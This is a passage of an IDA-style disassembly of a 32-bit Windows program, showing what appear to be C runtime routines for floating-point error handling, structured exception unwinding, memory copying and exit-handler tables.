mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_413F88
call sub_417D7E
pop ecx
test eax, eax
pop ecx
jle short loc_413F6B
cmp eax, 2
jle short loc_413F5D
cmp eax, 3
jnz short loc_413F6B
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_41768E
add esp, 10h
jmp short loc_413FCD
; ---------------------------------------------------------------------------
loc_413F5D: ; CODE XREF: sub_413F02+3Fj
push esi
push ebx
call sub_417EB6
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_413FCD
; ---------------------------------------------------------------------------
loc_413F6B: ; CODE XREF: sub_413F02+3Aj
; sub_413F02+44j
fld [ebp+arg_0]
fadd ds:dbl_41F668
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_413FC5
; ---------------------------------------------------------------------------
loc_413F88: ; CODE XREF: sub_413F02+2Fj
call sub_417D43
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_413FAB
loc_413F9D: ; CODE XREF: sub_413F02+ACj
push esi
push ebx
call sub_417EB6
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_413FCD
; ---------------------------------------------------------------------------
loc_413FAB: ; CODE XREF: sub_413F02+99j
test bl, 20h
jnz short loc_413F9D
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_413FC5: ; CODE XREF: sub_413F02+84j
call sub_4176E1
add esp, 1Ch
loc_413FCD: ; CODE XREF: sub_413F02+59j
; sub_413F02+67j ...
pop esi
pop ebx
leave
retn
sub_413F02 endp
; =============== S U B R O U T I N E =======================================
sub_413FD1 proc near ; CODE XREF: sub_41588A+9p
; DATA XREF: seg002:off_42D0BCo
call sub_413FE9
call sub_417F7F
mov ds:dword_45E7E4, eax
call sub_417F2F
fnclex
retn
sub_413FD1 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_413FE9 proc near ; CODE XREF: sub_413FD1p
mov eax, offset sub_41836D
mov ds:off_42D42C, offset loc_418002
mov ds:off_42D428, eax
mov ds:off_42D430, offset sub_418068
mov ds:off_42D434, offset sub_417FA8
mov ds:off_42D438, offset loc_418050
mov ds:off_42D43C, eax
retn
sub_413FE9 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414024 proc near ; CODE XREF: sub_403007+1Bp
; sub_403007+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_414024 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41404B(double)
sub_41404B proc near ; CODE XREF: sub_403053+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push ds:dword_42D0C8
call sub_417EB6
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_4140D1
call sub_417D7E
pop ecx
test eax, eax
pop ecx
jle short loc_4140B4
cmp eax, 2
jle short loc_4140A6
cmp eax, 3
jnz short loc_4140B4
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_41768E
add esp, 10h
jmp short loc_414116
; ---------------------------------------------------------------------------
loc_4140A6: ; CODE XREF: sub_41404B+3Fj
push esi
push ebx
call sub_417EB6
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_414116
; ---------------------------------------------------------------------------
loc_4140B4: ; CODE XREF: sub_41404B+3Aj
; sub_41404B+44j
fld [ebp+arg_0]
fadd ds:dbl_41F668
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41410E
; ---------------------------------------------------------------------------
loc_4140D1: ; CODE XREF: sub_41404B+2Fj
call sub_417D43
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_4140F4
loc_4140E6: ; CODE XREF: sub_41404B+ACj
push esi
push ebx
call sub_417EB6
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_414116
; ---------------------------------------------------------------------------
loc_4140F4: ; CODE XREF: sub_41404B+99j
test bl, 20h
jnz short loc_4140E6
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41410E: ; CODE XREF: sub_41404B+84j
call sub_4176E1
add esp, 1Ch
loc_414116: ; CODE XREF: sub_41404B+59j
; sub_41404B+67j ...
pop esi
pop ebx
leave
retn
sub_41404B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41411A proc near ; CODE XREF: sub_4187DE+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41411A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41414E proc near ; CODE XREF: sub_41898F+199p
; sub_418B53+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41414E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_414155 proc near ; CODE XREF: sub_41898F+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_414155 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41415C proc near ; CODE XREF: sub_41430E+5Cp
; sub_4187DE:loc_41880Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_414184
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_41E19C ; RtlUnwind
loc_414184: ; DATA XREF: sub_41415C+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_41415C endp
; ---------------------------------------------------------------------------
loc_4141AB: ; CODE XREF: seg000:0041E2F8j
; seg000:0041E315j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_4183E3
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4141E1 proc near ; CODE XREF: sub_418859+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_414235
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_418BE0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_4141E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414235 proc near ; DATA XREF: sub_4141E1+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4183E3
add esp, 20h
pop ebp
retn
sub_414235 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41425A proc near ; CODE XREF: sub_418625+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41430E
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_4142E0
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call ds:dword_45E884
pop ecx
pop ecx
and [ebp+var_34], 0
loc_4142E0: ; DATA XREF: sub_41425A+3Co
cmp [ebp+var_4], 0
jz short loc_4142FD
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_414306
; ---------------------------------------------------------------------------
loc_4142FD: ; CODE XREF: sub_41425A+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_414306: ; CODE XREF: sub_41425A+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41425A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41430E proc near ; DATA XREF: sub_41425A+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_414331
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41437E
; ---------------------------------------------------------------------------
loc_414331: ; CODE XREF: sub_41430E+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4183E3
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41436F
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41415C
loc_41436F: ; CODE XREF: sub_41430E+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41437E: ; CODE XREF: sub_41430E+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41430E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414383 proc near ; CODE XREF: sub_41847E+C6p
; sub_418625+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_4143DA
loc_4143A1: ; CODE XREF: sub_414383+52j
cmp esi, 0FFFFFFFFh
jnz short loc_4143AB
call sub_418C82
loc_4143AB: ; CODE XREF: sub_414383+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_4143C0
cmp ecx, [eax+8]
jle short loc_4143C5
loc_4143C0: ; CODE XREF: sub_414383+36j
cmp esi, 0FFFFFFFFh
jnz short loc_4143D1
loc_4143C5: ; CODE XREF: sub_414383+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_4143D1: ; CODE XREF: sub_414383+40j
cmp [ebp+arg_4], 0
jge short loc_4143A1
mov eax, [ebp+var_4]
loc_4143DA: ; CODE XREF: sub_414383+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_4143EE
cmp esi, eax
jbe short loc_4143F3
loc_4143EE: ; CODE XREF: sub_414383+65j
call sub_418C82
loc_4143F3: ; CODE XREF: sub_414383+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_414383 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414400 proc near ; CODE XREF: sub_41AE98+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_414418
push [ebp+arg_0]
call sub_41E19C ; RtlUnwind
loc_414418: ; DATA XREF: sub_414400+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_414400 endp
; =============== S U B R O U T I N E =======================================
sub_414420 proc near ; DATA XREF: sub_414442+Ao
; sub_4144AA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_414441
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_414441: ; CODE XREF: sub_414420+10j
retn
sub_414420 endp
; =============== S U B R O U T I N E =======================================
sub_414442 proc near ; CODE XREF: sub_4188FF+Dp
; sub_41AE98+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_414420
push large dword ptr fs:0
mov large fs:0, esp
loc_41445F: ; CODE XREF: sub_414442:loc_41449Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41449C
cmp esi, [esp+1Ch+arg_4]
jz short loc_41449C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41449A
push 101h
mov eax, [ebx+esi*4+8]
call sub_4144D6
call dword ptr [ebx+esi*4+8]
loc_41449A: ; CODE XREF: sub_414442+44j
jmp short loc_41445F
; ---------------------------------------------------------------------------
loc_41449C: ; CODE XREF: sub_414442+2Aj
; sub_414442+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_414442 endp
; =============== S U B R O U T I N E =======================================
sub_4144AA proc near ; CODE XREF: sub_41891F+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_414420
jnz short locret_4144CC
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_4144CC
mov eax, 1
locret_4144CC: ; CODE XREF: sub_4144AA+10j
; sub_4144AA+1Bj
retn
sub_4144AA endp
; =============== S U B R O U T I N E =======================================
sub_4144CD proc near ; CODE XREF: sub_418BE0+1Ep
; sub_418BE0+40p
push ebx
push ecx
mov ebx, offset dword_42D0CC
jmp short loc_4144E0
sub_4144CD endp
; =============== S U B R O U T I N E =======================================
sub_4144D6 proc near ; CODE XREF: sub_414442+4Fp
; sub_41AE98+78p
push ebx
push ecx
mov ebx, offset dword_42D0CC
mov ecx, [ebp+8]
loc_4144E0: ; CODE XREF: sub_4144CD+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_4144D6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4144F0 proc near ; CODE XREF: sub_403053+5p
; sub_4031F5+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_4144F0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41450F proc near ; CODE XREF: sub_4036CA+26p
; seg000:0041DF75p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_413ED3
pop ecx
retn
sub_41450F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414520 proc near ; CODE XREF: sub_40373B+3Ap
; sub_416BB8+2EEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_414540
cmp edi, eax
jb loc_4146B8
loc_414540: ; CODE XREF: sub_414520+16j
test edi, 3
jnz short loc_41455C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41457C
rep movsd
jmp ds:off_414668[edx*4]
; ---------------------------------------------------------------------------
loc_41455C: ; CODE XREF: sub_414520+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_414574
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_41457C+4[eax*4]
; ---------------------------------------------------------------------------
loc_414574: ; CODE XREF: sub_414520+46j
jmp dword ptr ds:loc_414678[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41457C: ; CODE XREF: sub_414520+31j
; sub_414520+8Ej ...
jmp ds:off_4145FC[ecx*4]
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 45h, 41h, 0
dd offset loc_4145BC
dd offset loc_4145E0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41457C
rep movsd
jmp ds:off_414668[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_4145BC: ; DATA XREF: sub_414520+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41457C
rep movsd
jmp ds:off_414668[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4145E0: ; DATA XREF: sub_414520+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41457C
rep movsd
jmp ds:off_414668[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4145FC dd offset loc_41465F ; DATA XREF: sub_414520:loc_41457Cr
dd offset loc_41464C
dd offset loc_414644
dd offset loc_41463C
dd offset loc_414634
dd offset loc_41462C
dd offset loc_414624
dd offset loc_41461C
; ---------------------------------------------------------------------------
loc_41461C: ; CODE XREF: sub_414520:loc_41457Cj
; DATA XREF: sub_414520+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_414624: ; CODE XREF: sub_414520:loc_41457Cj
; DATA XREF: sub_414520+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41462C: ; CODE XREF: sub_414520:loc_41457Cj
; DATA XREF: sub_414520+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_414634: ; CODE XREF: sub_414520:loc_41457Cj
; DATA XREF: sub_414520+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41463C: ; CODE XREF: sub_414520:loc_41457Cj
; DATA XREF: sub_414520+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_414644: ; CODE XREF: sub_414520:loc_41457Cj
; DATA XREF: sub_414520+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41464C: ; CODE XREF: sub_414520:loc_41457Cj
; DATA XREF: sub_414520+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41465F: ; CODE XREF: sub_414520:loc_41457Cj
; DATA XREF: sub_414520:off_4145FCo
jmp ds:off_414668[edx*4]
; ---------------------------------------------------------------------------
align 4
off_414668 dd offset loc_414678 ; DATA XREF: sub_414520+35r
; sub_414520+92r ...
dd offset loc_414680
dd offset loc_41468C
dd offset loc_4146A0
; ---------------------------------------------------------------------------
loc_414678: ; CODE XREF: sub_414520+35j
; sub_414520+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_414680: ; CODE XREF: sub_414520+35j
; sub_414520+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41468C: ; CODE XREF: sub_414520+35j
; sub_414520+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4146A0: ; CODE XREF: sub_414520+35j
; sub_414520+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4146B8: ; CODE XREF: sub_414520+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_4146EC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4146E0
std
rep movsd
cld
jmp ds:off_414800[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4146E0: ; CODE XREF: sub_414520+1B1j
; sub_414520+208j ...
neg ecx
jmp ds:off_4147B0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4146EC: ; CODE XREF: sub_414520+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_414704
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_414704+4[eax*4]
; ---------------------------------------------------------------------------
loc_414704: ; CODE XREF: sub_414520+1D6j
; DATA XREF: sub_414520+1DDr
jmp ds:off_414800[ecx*4]
; ---------------------------------------------------------------------------
align 4
sbb [edi+41h], al
add [eax], bh
inc edi
inc ecx
add [eax+47h], ah
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_4146E0
std
rep movsd
cld
jmp ds:off_414800[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_4146E0
std
rep movsd
cld
jmp ds:off_414800[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_4146E0
std
rep movsd
cld
jmp ds:off_414800[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4147B4
dd offset loc_4147BC
dd offset loc_4147C4
dd offset loc_4147CC
dd offset loc_4147D4
dd offset loc_4147DC
dd offset loc_4147E4
off_4147B0 dd offset loc_4147F7 ; DATA XREF: sub_414520+1C2r
; ---------------------------------------------------------------------------
loc_4147B4: ; DATA XREF: sub_414520+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_4147BC: ; DATA XREF: sub_414520+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_4147C4: ; DATA XREF: sub_414520+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_4147CC: ; DATA XREF: sub_414520+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_4147D4: ; DATA XREF: sub_414520+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_4147DC: ; DATA XREF: sub_414520+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_4147E4: ; DATA XREF: sub_414520+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4147F7: ; CODE XREF: sub_414520+1C2j
; DATA XREF: sub_414520:off_4147B0o
jmp ds:off_414800[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_414800 dd offset loc_414810 ; DATA XREF: sub_414520+1B7r
; sub_414520:loc_414704r ...
dd offset loc_414818
dd offset loc_414828
dd offset loc_41483C
; ---------------------------------------------------------------------------
loc_414810: ; CODE XREF: sub_414520+1B7j
; sub_414520:loc_414704j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_414818: ; CODE XREF: sub_414520+1B7j
; sub_414520:loc_414704j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_414828: ; CODE XREF: sub_414520+1B7j
; sub_414520:loc_414704j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41483C: ; CODE XREF: sub_414520+1B7j
; sub_414520:loc_414704j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_414520 endp
; =============== S U B R O U T I N E =======================================
sub_414855 proc near ; CODE XREF: sub_4037A2+34p
; sub_4037A2+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_413E71
pop ecx
pop ecx
retn
sub_414855 endp
; =============== S U B R O U T I N E =======================================
sub_414863 proc near ; CODE XREF: sub_4148D0+4p
arg_0 = dword ptr 4
push esi
push ds:dword_45FE74
call sub_418CD8
mov edx, ds:dword_45FE74
pop ecx
mov ecx, ds:dword_45FE70
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_4148C2
push edx
call sub_418CD8
add eax, 10h
push eax
push ds:dword_45FE74
call sub_41556F
add esp, 0Ch
test eax, eax
jnz short loc_4148A5
retn
; ---------------------------------------------------------------------------
loc_4148A5: ; CODE XREF: sub_414863+3Fj
mov ecx, ds:dword_45FE70
sub ecx, ds:dword_45FE74
